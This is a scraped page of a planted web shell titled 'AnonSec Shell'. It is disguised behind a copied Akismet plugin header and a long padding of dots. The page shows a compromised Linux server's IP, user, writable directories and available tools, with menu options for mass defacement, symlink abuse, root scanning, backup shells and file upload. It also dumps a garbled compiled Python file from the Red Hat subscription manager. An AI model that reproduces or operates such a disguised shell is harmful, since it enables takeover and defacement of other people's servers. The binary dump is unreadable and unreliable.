#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/facts.pyc
�
L��ec@`s�ddlmZmZmZddlmZddlZddlZddlmZm	Z	ddl
mZddlm
ZddlmZeje�Zdefd	��YZdS(
i(tprint_functiontdivisiontabsolute_import(tdatetimeN(tPLUGIN_MANAGERtrequire(tCacheManager(tourjson(tAllFactsCollectortFactscB`sVeZdZdZd�Zd�Zd�Zed�Zd�Z	d�Z
d�ZRS(	s�
    Manages the facts for this system, maintains a cache of the most
    recent set sent to server, and checks for changes.

    Includes both those hard coded in the app itself, as well as custom
    facts to be loaded from /etc/rhsm/facts/.
    s/var/lib/rhsm/facts/facts.jsoncC`s+i|_ddg|_tt�|_dS(Nscpu.cpu_mhzs
lscpu.cpu_mhz(tfactstgraylistRRtplugin_manager(tself((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pyt__init__&s	cC`s9y tjtj|j�j�SWntk
r4dSXdS(N(Rt
fromtimestamptoststatt
CACHE_FILEtst_mtimet	ExceptiontNone(R
((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pytget_last_update3s 
cC`s�|j�s$tjd|j�tS|j�p3i}|jt�|_xSt|j�t|�Bt|j	�D]+}|jj
|�|j
|�krotSqoWtS(sn
        return a dict of any key/values that have changed
        including new keys or deleted keys
        sCache %s does not exit(t
_cache_existstlogtdebugRtTruetread_cache_onlyt	get_factsR
tsetRtgettFalse(R
tcached_factstkey((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pythas_changed9s-!cC`sYt|j�dks|rRt�}|j�}|jjdd|�||_n|jS(Nitpost_facts_collectionR
(tlenR
Rtget_allRtrun(R
trefresht	collectorR
((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pyRKs	cC`s
|j�S(N(R(R
((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pytto_dictSscC`s*tjd�|j|d|j��dS(NsUpdating facts on serverR
(RRtupdateConsumerR(R
tuept
consumer_uuid((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pyt_sync_with_serverVs
cC`s|j�}tj|�S(N(treadtjsontloads(R
t	open_filetjson_str((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pyt
_load_dataZs(t__name__t
__module__t__doc__RRRR"RRR)R-R3(((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pyR	s	
				(t
__future__RRRRtloggingRtsubscription_manager.injectionRRtsubscription_manager.cacheRtrhsmRR/trhsmlib.facts.allRt	getLoggerR4RR	(((s@/usr/lib64/python2.7/site-packages/subscription_manager/facts.pyt<module>s

Anon7 - 2022
AnonSec Team